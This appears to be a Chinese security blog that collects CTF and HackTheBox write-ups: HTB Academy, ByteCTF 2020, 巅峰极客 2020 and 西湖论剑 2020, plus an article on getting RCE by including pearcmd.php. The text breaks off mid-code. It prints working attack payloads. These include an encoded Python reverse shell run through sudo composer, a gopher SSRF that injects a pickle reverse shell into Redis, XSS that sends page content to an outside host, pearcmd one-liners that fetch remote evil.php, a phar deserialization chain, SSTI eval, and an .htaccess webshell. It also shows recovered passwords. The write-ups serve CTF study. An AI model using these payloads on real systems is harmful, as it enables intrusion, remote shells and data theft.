Academy_write_up

Academy Write Up

目标:10.10.10.215

端口扫描

1
2
3
4
5
6
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
33060/tcp open socks5?

33060端口不知道是啥

攻击http服务

扫描目录得到

1
2
3
4
5
6
[20:35:08] 200 -    3KB - /admin.php
[20:36:10] 200 - 0B - /config.php
[20:37:09] 302 - 54KB - /home.php -> login.php
[20:37:21] 200 - 2KB - /index.php
[20:37:40] 200 - 3KB - /login.php
[20:38:32] 200 - 3KB - /register.php

测试登入,注册接口的时候发现,

注册的POST请求是这样的:uid=admin123&password=admin123&confirm=admin123&roleid=0

有个roleid参数,将其改成1,注册admin账号

admin登入成功后,发现子域名

image811

一进去网站就是报错状态,试着爆破路径,啥也没有

image951

msf搜索了一下laravel

image1077

设置好参数试了一下就打通了

提权

www-data用户提升至cry0l1t3

翻了翻配置文件找到/var/www/html/academy/.env

1
2
3
4
5
6
7
8

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!

这个密码诶个是过去发现是cry0l1t3的密码

cry0l1t3移动到mrb3n

1
2
id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)

发现和syslog在同一个组下,我们可以查看任意日志了

cd /var/log/audit&&cat * | grep data= 查看用户的输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
type=TTY msg=audit(1597199290.086:83): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=7375206D7262336E0A
type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A
type=TTY msg=audit(1597199304.778:89): tty pid=2526 uid=1001 auid=0 ses=1 major=4 minor=1 comm="sh" data=77686F616D690A
type=TTY msg=audit(1597199308.262:90): tty pid=2526 uid=1001 auid=0 ses=1 major=4 minor=1 comm="sh" data=657869740A
type=TTY msg=audit(1597199317.622:93): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=2F62696E2F62617368202D690A
type=TTY msg=audit(1597199443.421:94): tty pid=2606 uid=1002 auid=0 ses=1 major=4 minor=1 comm="nano" data=1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D
type=TTY msg=audit(1597199533.458:95): tty pid=2643 uid=1002 auid=0 ses=1 major=4 minor=1 comm="nano" data=1B5B421B5B411B5B411B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B427F1B5B421B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E1B5B337E18790D
type=TTY msg=audit(1597199575.087:96): tty pid=2686 uid=1002 auid=0 ses=1 major=4 minor=1 comm="nano" data=3618790D
type=TTY msg=audit(1597199606.563:97): tty pid=2537 uid=1002 auid=0 ses=1 major=4 minor=1 comm="bash" data=63611B5B411B5B411B5B417F7F636174206175097C206772657020646174613D0D636174206175097C20637574202D663131202D642220220D1B5B411B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B441B5B431B5B436772657020646174613D207C200D1B5B41203E202F746D702F646174612E7478740D69640D6364202F746D700D6C730D6E616E6F2064090D636174206409207C207878092D72202D700D6D617F7F7F6E616E6F2064090D6361742064617409207C20787864202D7220700D1B5B411B5B442D0D636174202F7661722F6C6F672F61750974097F7F7F7F7F7F6409617564097C206772657020646174613D0D1B5B411B5B411B5B411B5B411B5B411B5B420D1B5B411B5B411B5B410D1B5B411B5B411B5B410D657869747F7F7F7F686973746F72790D657869740D
type=TTY msg=audit(1597199606.567:98): tty pid=2517 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=657869740A
type=TTY msg=audit(1597199610.163:107): tty pid=2709 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=2F62696E2F62617368202D690A
type=TTY msg=audit(1597199616.307:108): tty pid=2712 uid=1002 auid=0 ses=1 major=4 minor=1 comm="bash" data=6973746F72790D686973746F72790D657869740D
type=TTY msg=audit(1597199616.307:109): tty pid=2709 uid=1002 auid=0 ses=1 major=4 minor=1 comm="sh" data=657869740A

其中的7375206D7262336E0A=su mrb3n,6D7262336E5F41634064336D79210A=mrb3n_Ac@d3my!

拿到mrb3n的密码

mrb3n提权root

sudo -l 看看自己能不能用sudo

image4850

发现我们可以用sudo 执行composer

直接RCE

新建composer.json

1
2
3
4
5
{
"scripts": {
"test": "python3 -c \"import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCwgc3VicHJvY2VzcztzID0gc29ja2V0LnNvY2tldCgpO3MuY29ubmVjdCgoJzEwLjEwLjE0Ljk5Jyw1NTU1KSkKd2hpbGUgMTogIHByb2MgPSBzdWJwcm9jZXNzLlBvcGVuKHMucmVjdigxMDI0KSwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSwgc3RkaW49c3VicHJvY2Vzcy5QSVBFKTtzLnNlbmQocHJvYy5zdGRvdXQucmVhZCgpK3Byb2Muc3RkZXJyLnJlYWQoKSk='))\""
}
}

sudo composer run-script --timeout=0 test

拿到root权限

image5511

总结

  1. 一定要记得看自己能不能sudo
  2. 在adm组中通常可以查看任意日志
  3. /var/log/audit存放着用户的输入,很有可能拿到密码

2020ByteCTF

ByteCTF2020

web

easy_scrapy

体验一编网站的功能后,发现如下api

1
2
3
/list
/push post:url=https%3A%2F%2Fwww.4399.com&code=16674458
/result?url=https://www.4399.com

让网站爬取自己的服务器以获得请求头

1
2
3
4
5
6
7
8
GET / HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en
User-Agent: scrapy_redis
Accept-Encoding: gzip, deflate
Host: ccreater.top:60000


通过ua头发现是:scrapy_redis

本地搭建scrapy_redis服务爬取网站,查看redis里设置的键值,发现myscrapy:requests中

image528

存在的pickle数据

网站自然提交http和https协议的url,但是因为是爬虫猜测嵌入一个a标签就可以绕过这个限制

提交如下网站

1
<a href="file:///etc/passwd">

成功读取到/etc/passwd,把爬虫代码爬下来本地测试

scrapy.cfg

1
2
3
4
5
6
7
8
9
10
11
# Automatically created by: scrapy startproject
#
# For more information about the [deploy] section see:
# https://scrapyd.readthedocs.io/en/latest/deploy.html

[settings]
default = bytectf.settings

[deploy]
#url = http://localhost:6800/
project = bytectf

bytectf/settings.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
BOT_NAME = 'bytectf'
SPIDER_MODULES = ['bytectf.spiders']
NEWSPIDER_MODULE = 'bytectf.spiders'
RETRY_ENABLED = False
ROBOTSTXT_OBEY = False
DOWNLOAD_TIMEOUT = 8
USER_AGENT = 'scrapy_redis'
SCHEDULER = "scrapy_redis.scheduler.Scheduler"
DUPEFILTER_CLASS = "scrapy_redis.dupefilter.RFPDupeFilter"
REDIS_HOST = '172.20.0.7'
REDIS_PORT = 6379
ITEM_PIPELINES = {
'bytectf.pipelines.BytectfPipeline': 300,
}

bytectf/byte.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import scrapy
import re
import base64
from scrapy_redis.spiders import RedisSpider
from bytectf.items import BytectfItem

class ByteSpider(RedisSpider):
name = 'byte'

def parse(self, response):
byte_item = BytectfItem()
byte_item['byte_start'] = response.request.url#主é®ï¼åå§url
url_list = []
test = response.xpath('//a/@href').getall()
for i in test:
if i[0] == '/':
url = response.request.url + i
else:
url = i
if re.search(r'://',url):
r = scrapy.Request(url,callback=self.parse2,dont_filter=True)
r.meta['item'] = byte_item
yield r
url_list.append(url)
if(len(url_list)>3):
break
byte_item['byte_url'] = response.request.url
byte_item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))
yield byte_item

def parse2(self,response):
item = response.meta['item']
item['byte_url'] = response.request.url
item['byte_text'] = base64.b64encode((response.text).encode('utf-8'))
yield item

bytectf/items.py

1
2
3
4
5
6
7
8
import scrapy


class BytectfItem(scrapy.Item):
# define the fields for your item here like:
# name = scrapy.Field()
byte_start = scrapy.Field()#
byte_text = scrapy.Field()#text

bytectf/pipelines.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import pymongo

class BytectfPipeline:
def __init__:
MONGODB_HOST = '172.20.0.8'
MONGODB_PORT = 27017
MONGODB_DBNAME = 'result'
MONGODB_TABLE = 'result'
MONGODB_USER = 'N0rth3'
MONGODB_PASSWD = 'E7B70D0456DAD39E22735E0AC64A69AD'
mongo_client = pymongo.MongoClient("%s:%d" % (MONGODB_HOST, MONGODB_PORT))
mongo_client[MONGODB_DBNAME].authenticate(MONGODB_USER, MONGODB_PASSWD, MONGODB_DBNAME)
mongo_db = mongo_client[MONGODB_DBNAME]
self.table = mongo_db[MONGODB_TABLE]



def process_item(self, item, spider):
quote_info = dict(item)
print(quote_info)
self.table.insert(quote_info)
return item

测试<a href="gopher://.....">发现并不能解析gopher协议

继续测试发现接口/result?url=https://www.4399.com,也存在ssrf漏洞且至此gopher协议

传入以下payload:

1
gopher%3a//172.20.0.7%3a6379/_%250D%250Azadd%2520byte%253Arequests%25201%2520%2522cos%255Cnsystem%255Cn%2528S%2527python%2520-c%2520%255Cx27import%2520socket%252Csubprocess%252Cos%253Bs%253Dsocket.socket%2528socket.AF_INET%252Csocket.SOCK_STREAM%2529%253Bs.connect%2528%2528%255Cx2239.108.164.219%255Cx22%252C60003%2529%2529%253Bos.dup2%2528s.fileno%2528%2529%252C0%2529%253B%2520os.dup2%2528s.fileno%2528%2529%252C1%2529%253B%2520os.dup2%2528s.fileno%2528%2529%252C2%2529%253Bp%253Dsubprocess.call%2528%255B%255Cx22/bin/sh%255Cx22%252C%255Cx22-i%255Cx22%255D%2529%253B%255Cx27%2527%255CntR.%2522%250D%250Aquit%250D%250A

成功弹回shell

douyin_vedio

题目描述

Do you like douyin video?
Submit your payload at http://c.bytectf.live:30002/

( Server URLs which only admin can access:
http://a.bytectf.live:30001/
http://b.bytectf.live:30001/ )

题目中只能将http://a.bytectf.live:30001/ 开头的url发给管理员,而c.bytectf.live中存在未过滤的xss点

思路就很清晰了,想办法跳转到c.bytectf.live再说,我们查看源代码发现:

1
2
3
4
5
6
RewriteRule /favicon.ico$ /favicon.ico [QSA,PT,L]
RewriteRule /$ / [QSA,PT,L]
RewriteRule /search$ /search [QSA,PT,L]
RewriteRule /send$ /send [QSA,PT,L]
RewriteRule /static/(.*)$ /static/$1 [QSA,PT,L]
RewriteRule (.*)$ http://www.douyin.com$1

最后一个神奇的重写规则,所以我们只要在www.douyin.com下找到一个任意url跳转就可以执行c.bytectf.live的xss

通常url跳转常出现在登入登出,还有外站url跳转,顺着这个思路我们可以找到http://www.douyin.com/logout/?next=https%3A%2F%2Fwww.douyin.com/23333可以跳转到部分域名(www.douyin.com , creator.douyin.com …)

这样就扩大了我们的攻击面,继续按照相同的思路进一步扩大攻击面的url:https://creator.douyin.com/passport/web/logout/?next=https://www.douyin.com

测试发现可以跳转到任意douyin.com/bytedance.com/.bytecdn.cn/ixigua.com/bytedance.net/snssdk.com/toutiao.com/huoshan.com/jinritemai.com结尾的域名

接着用谷歌搜索:site:xxxxxxx.com 跳转 发现任意url跳转:https://tsearch-quic.snssdk.com/search/jump?url=http://ccreater.top:60080

组合成跳转到c.bytectf.live的url:

1
http://a.bytectf.live:30001/logout?next=https%3a//creator.douyin.com/passport/web/logout/%3fnext%3dhttps://tsearch-quic.snssdk.com/search/jump?url=http://c.bytectf.live:30002/?action=post%25252526id=b44cb32f302e2d4249dea06a2ffa0da1

因为安全策略的设置问题(frame-ancestors http://*.bytectf.live:*/覆盖了['X-Frame-Options'] = 'sameorigin'),导致我们可以直接作为iframe导入,读取内容

1
2
3
4
resp.headers['X-Frame-Options'] = 'sameorigin'
resp.headers['Content-Security-Policy'] = "default-src http://*.bytectf.live:*/ 'unsafe-inline'; frame-src *; frame-ancestors http://*.bytectf.live:*/"
resp.headers['X-Content-Type-Options'] = 'nosniff'
resp.headers['Referrer-Policy'] = 'same-origin'

所以xss的代码是:

1
2
3
document.domain="bytectf.live"; 
flagPage=document.createElement("iframe"); flagPage.src="http://a.bytectf.live:30001/?keyword=B"; document.body.append(flagPage); setTimeout(()=>{ document.location="http://ccreater.top:60001/"+btoa(document.body.getElementsByTagName("iframe")[0].contentWindow.document.body.innerHTML) },500)

但是不知道为啥iframe.src=http://a.bytectf.live:30001/可以获取到内容,而http://a.bytectf.live:30001/send却不可以。。。

监听端口成功拿到flag

LFI利用php自带的pearcmd.php直接RCE

LFI利用php自带的pearcmd.php直接RCE

在做巅峰极客的一题时,用到了包含pearcmd.php从而RCE的点(perlcmd.php也是一样的),今天来研究一下这个点

产生原因

阅读pearcmd.php中关于参数产生的那部分代码发现:

1
2
3
4
5
6
7
8
9
10
11
...
if (!isset($_SERVER['argv']) && !isset($argv) && !isset($HTTP_SERVER_VARS['argv'])) {
echo 'ERROR: either use the CLI php executable, ' .
'or set register_argc_argv=On in php.ini';
exit(1);
}

$argv = Console_Getopt::readPHPArgv();
...
array_shift($argv);//这里删除了第一个argv,通常argv[0]是程序名
...

Getopt.php:readPHPArgv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

我们发现这里的参数是从$_SERVER['argv'](旧版本的就是:$GLOBALS['HTTP_SERVER_VARS']['argv'])中获取的

我们来测试一下$_SERVER['arvg'],测试代码:var_dump($_SERVER['argv']);

访问http://127.0.0.1:60080/?1+2+3+4+%20+%dd

1
2
3
4
5
6
7
8
/var/www/html/index.php:4:
array (size=6)
0 => string '1' (length=1)
1 => string '2' (length=1)
2 => string '3' (length=1)
3 => string '4' (length=1)
4 => string '%20' (length=3)
5 => string '%dd' (length=3)

在$_SERVER[‘argv’]中的所有url编码都不会被解析,只是当成普通字符串,而+会被解析成参数的分隔符

于是我们便可以像在命令行一样调用pearcmd.php了,接下来就变成了利用pearcmd这个命令getshell,直接命令行尝试(太懒了)

查看pearcmd.php的帮助:php pearcmd.php [options] command [command-options] <parameters>,那么我们传参就得变成

url/?+[options]+command+[command-options]+<parameters>,?后面必须跟一个+号让其作为$argv[0],这里要注意+号的数量,因为这是拿来作为分隔符的如:?++就会被解析成["","",""]

利用条件

image1911

  1. register_argc_argv=On(默认是开的)
  2. 包含pearcmd.php或者peclcmd.php

payload

这里直接给出payload,都是直接看帮助写出来的,没啥好说的。

exp1:

需要出网

1
2
http://192.168.43.230:60080/?+install+--installroot+/tmp/+http://ccreater.top:60006/evil.php++++++++++++++$&f=pearcmd.php&#把GET参数都塞到最后面
http://192.168.43.230:60080/?f=/tmp/tmp/pear/download/install.php

exp2:

需要出网

会下载到当前文件夹

1
2
http://192.168.43.230:60080/?+download+https://fuckyou.free.beeceptor.com/fuckyou.php+&f=pearcmd.php#都塞到最后面
http://192.168.43.230:60080/?f=fuckyou.php

exp3:

1
2
http://192.168.43.230:60080/?+config-create+/<?=phpinfo();?>/*+/var/www/html/&f=pearcmd.php&XDEBUG_SESSION_START=PHPSTORM.php#把GET参数都塞到路径中,这里可以用url编码来防止空格,/等对文件生成造成影响的字符
http://192.168.43.230:60080/&f=pearcmd.php&XDEBUG_SESSION_START=PHPSTORM.php

exp4:

最好用

1
2
http://192.168.43.230:60080/?+-c+/var/www/html/config2.php+-d+man_dir=<?phpinfo();?>/*+-s+list&f=pearcmd.php&XDEBUG_SESSION_START=PHPSTORM#参数塞到最后面
http://192.168.43.230:60080/config2.php

巅峰极客2020wp

巅峰极客2020

文章首发于安全客

babyphp2

文件包含:http://eci-2ze5jqyhfniloont8y3x.cloudeci1.ichunqiu.com/index.php?action=../../../../../../../../../../../var/www/html/login
登入接口ban掉:

1
`,\,@,%,#
1
2
3
4
5
6
7
8
9
[11:00:52] 200 -   68B  - /index.php
[11:00:53] 200 - 68B - /index.php/login/
[11:01:33] 200 - 583B - /login.php
[11:03:57] 403 - 335B - /server-status
[11:04:19] 403 - 336B - /server-status/
[11:05:21] 200 - 422B - /upload.php
[11:05:22] 403 - 329B - /upload/
[11:05:41] 301 - 383B - /upload -> http://eci-2ze5jqyhfniloont8y3x.cloudeci1.ichunqiu.com/upload/
[11:06:20] 200 - 4KB - /www.zip

构造反序列化链:dbCtrl::__destruct->User::__toString->Reader::__set

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php

Class Reader{
public $filename;
public $result;
public function __construct(){

}

}

class User
{
public $id;
public $age=null;
public $nickname=null;
public $backup;
public function __construct(){
$this->backup="/flag";
$this->nickname=new Reader();
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="p3rh4ps";
public $dbpass="p3rh4ps";
public $database="p3rh4ps";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct(){
$this->token=new User();
}
}

$a = new dbCtrl();
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,phar伪协议不用phar后缀
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,只要后面部分为__HALT_COMPILER();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

compress.zlib://phar://phar.phar/test.txt绕过限制

babyback

php:5.6.40

robots.txt

1
2
User-agent: *
Disallow: /admin
1
2
3
4
5
6
7
8
9
10
11
[12:31:50] 200 -   38B  - /admin/
[12:31:50] 200 - 38B - /admin/?/login
[12:31:50] 200 - 38B - /admin/index.php
[12:31:57] 200 - 48B - /check.php
[12:32:13] 200 - 33B - /robots.txt
[12:41:07] 200 - 29B - /admin/.bowerrc
[12:41:26] 301 - 185B - /admin/assets -> http://eci-2ze91js64coeqpjda9u8.cloudeci1.ichunqiu.com/admin/assets/
[12:41:28] 200 - 1KB - /admin/bower.json
[12:41:38] 301 - 185B - /admin/images -> http://eci-2ze91js64coeqpjda9u8.cloudeci1.ichunqiu.com/admin/images/
[12:41:39] 200 - 38B - /admin/index.php
[12:41:57] 200 - 620B - /admin/package.json

check.php 过滤了:

1
",',-,=,;,select
1
username=aaaa\&password= /sleep(5)%23bbbb

存在sql注入

1
2
3
账号密码
admin
uAreRigHt

image2642

1
2
EVAL($COMMAND."=FALSE");
过滤:;,",', ,|,`,^,\,;,/,*,(,),&,$,#,f,F

任意文件包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /admin/ HTTP/1.1
Host: eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1600698604,1601088882; UM_distinctid=174b11256cb2fd-030f86f83a6db3-333769-240000-174b11256cd6f1; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1601100971; PHPSESSID=aabua1gfiqc9s8i13u3iqace72; __jsluid_h=89eac162499bc32092c0474accd770c5
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrD05yt5m
Content-Length: 161

------WebKitFormBoundaryrD05yt5m
Content-Disposition: form-data; name="command"

?><?=include<<<DDDD
.bowerrc
DDDD
?>
------WebKitFormBoundaryrD05yt5m--

读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /admin/ HTTP/1.1
Host: eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze3ccxvzrnduzhd4u54.cloudeci1.ichunqiu.com/admin/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1600698604,1601088882; UM_distinctid=174b11256cb2fd-030f86f83a6db3-333769-240000-174b11256cd6f1; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1601100971; PHPSESSID=aabua1gfiqc9s8i13u3iqace72; __jsluid_h=89eac162499bc32092c0474accd770c5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

command=%3f%3e%3c%3f%3dinclude%7e%3c%3c%3cDDDD%0d%0a%D0%99%93%9E%98%0d%0aDDDD%0d%0a%3f%3e

babyflask

GET /loged?name=%7B%7B2*2%7D%7D
存在SSTI
模板引擎jinja2

1
2
http://eci-2ze3domag0jprtzax0lx.cloudeci1.ichunqiu.com:8888/loged?name={%%20for%20c%20in%20[].__class__.__base__.__subclasses__()%20%}{%%20if%20c.__name__==%27_IterationGuard%27%20%}{{%20c.__init__.__globals__[%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat%20/flag%27).read()%22)%20}}{%%20endif%20%}{%%20endfor%20%}

拿flag

MeowWorld

任意文件读取

hint:register_argc_argv

1
2
3
4
register_argc_argv	TRUE	
由于该设置为 TRUE,将总是可以在 CLI SAPI 中访问到 argc(传送给应用程序参数的个数)和 argv(包含有实际参数的数组)。

对于 PHP 4.3.0,在使用 CLI SAPI 时,PHP 变量 $argc 和 $argv 已被注册并且设定了对应的值。而在这之前的版本,这两个变量在 CGI 或者 模块 版本中的建立依赖于将 PHP 的设置选项 register_globals 设为 on。除了版本和 register_globals 设定以外,可以随时通过调用 $_SERVER 或者 $HTTP_SERVER_VARS 来访问它们。例如:$_SERVER['argv']

https://khack40.info/camp-ctf-2015-trolol-web-write-up/

找到一个类似的题目,但是他们是用变量覆盖来执行

阅读pearcmd的代码发现:if (!isset($_SERVER['argv']) && !isset($argv) && !isset($HTTP_SERVER_VARS['argv']))

image6158

1
http://eci-2zeguuukox00jv0u113l.cloudeci1.ichunqiu.com/?list+install+--installroot+/tmp/+http://ccreater.top:60006/install.php++++++++++++++$&f=pearcmd&

后面多余部分并不影响我们下载恶意文件

http://eci-2zeguuukox00jv0u113l.cloudeci1.ichunqiu.com/?f=/tmp/tmp/pear/download/install

任意命令执行

2020西湖论剑

西湖论剑

NewUpload

hint:
我装了宝塔 waf,apache 环境,自己本地配一套这种环境就知道怎么弄了。
看看宝塔自己装的 apache 有什么东西?

%00干掉宝塔waf

任意文件上传过滤php关键字
上传.htaccess绕过
普通的payload并不适用与php-fpm通信
/www/server/panel/vhost/apache下发现php的解析方式

1
2
3
4
#PHP
<FilesMatch \.php$>
SetHandler "proxy:unix:/tmp/php-cgi-74.sock|fcgi://localhost"
</FilesMatch>

直接设置SetHandler "proxy:unix:/tmp/php-cgi-74.sock|fcgi://localhost",访问我们上传的后门并不行,查了下资料发现php-fpm有security.limit_extensions限制了php脚本的后缀名,它的默认值是: .php .phar

所以我们上传phar文件getshell,getshell后发现,我们需要readflag而,命令执行函数都被干掉了,php版本是php 7.4.10

1
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

https://github.com/Explorersss/exploits中的脚本试过一边后都不行

但是这里php-fpm服务是通过socket文件通信的,我们可以直接打php-fpm绕过disable function

https://gist.githubusercontent.com/Explorersss/452ba2ed228dee841ac474b5d96f1581/raw/dc35576e0a4448b33da381fd2980d586aedc4e01/bypass_disable_function_by_fpm.php

easyjson

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
include 'security.php';

if(!isset($_GET['source'])){
show_source(__FILE__);
die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
mkdir($sandbox);
file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");


if($action == "write" && SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
$content = json_decode($content);
$filename = $_GET['filename'];
$filecontent = $content->content;
$filename = $sandbox.$filename;
file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
$files = scandir($sandbox);
foreach($files as $file) {
if(!is_dir($file)){
if($file !== "index.php"){
unlink($sandbox.$file);
}
}
}
}
else{
die('Security Check Failed.');
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /?source=1&action=write&filename=index.php HTTP/1.1
Host: easyjson.xhlj.wetolink.com
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 439

{"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"\u0070\u0068\u0070\u005f\u0076\u0061\u006c\u0075\u0065\u0020\u0061\u0075\u0074\u006f\u005f\u0070\u0072\u0065\u0070\u0065\u006e\u0064\u005f\u0066\u0069\u006c\u0065\u0020\u0022\u002e\u0068\u0074\u0061\u0063\u0063\u0065\u0073\u0073\u0022\u000a\u0023\u003c\u003f\u0070\u0068\u0070\u0020\u0065\u0076\u0061\u006c\u0028\u0024\u005f\u0050\u004f\u0053\u0054\u005b\u0031\u005d\u0029\u003b\u003f\u003e"}

flag{a5db5397505f825334aa4dfc17d3bb9f}

hardxss

在登入接口发现如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
callback = "get_user_login_status";
auto_reg_var();
if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
if(result['status']){
location.href = jump_url;
}
})
function jsonp(url, success) {
var script = document.createElement("script");
if(url.indexOf("callback") < 0){
var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
url = url + "?" + "callback=" + funName;
}else{
var funName = callback;
}
window[funName] = function(data) {
success(data);
delete window[funName];
document.body.removeChild(script);
}
script.src = url;
document.body.appendChild(script);
}
function auto_reg_var(){
var search = location.search.slice(1);
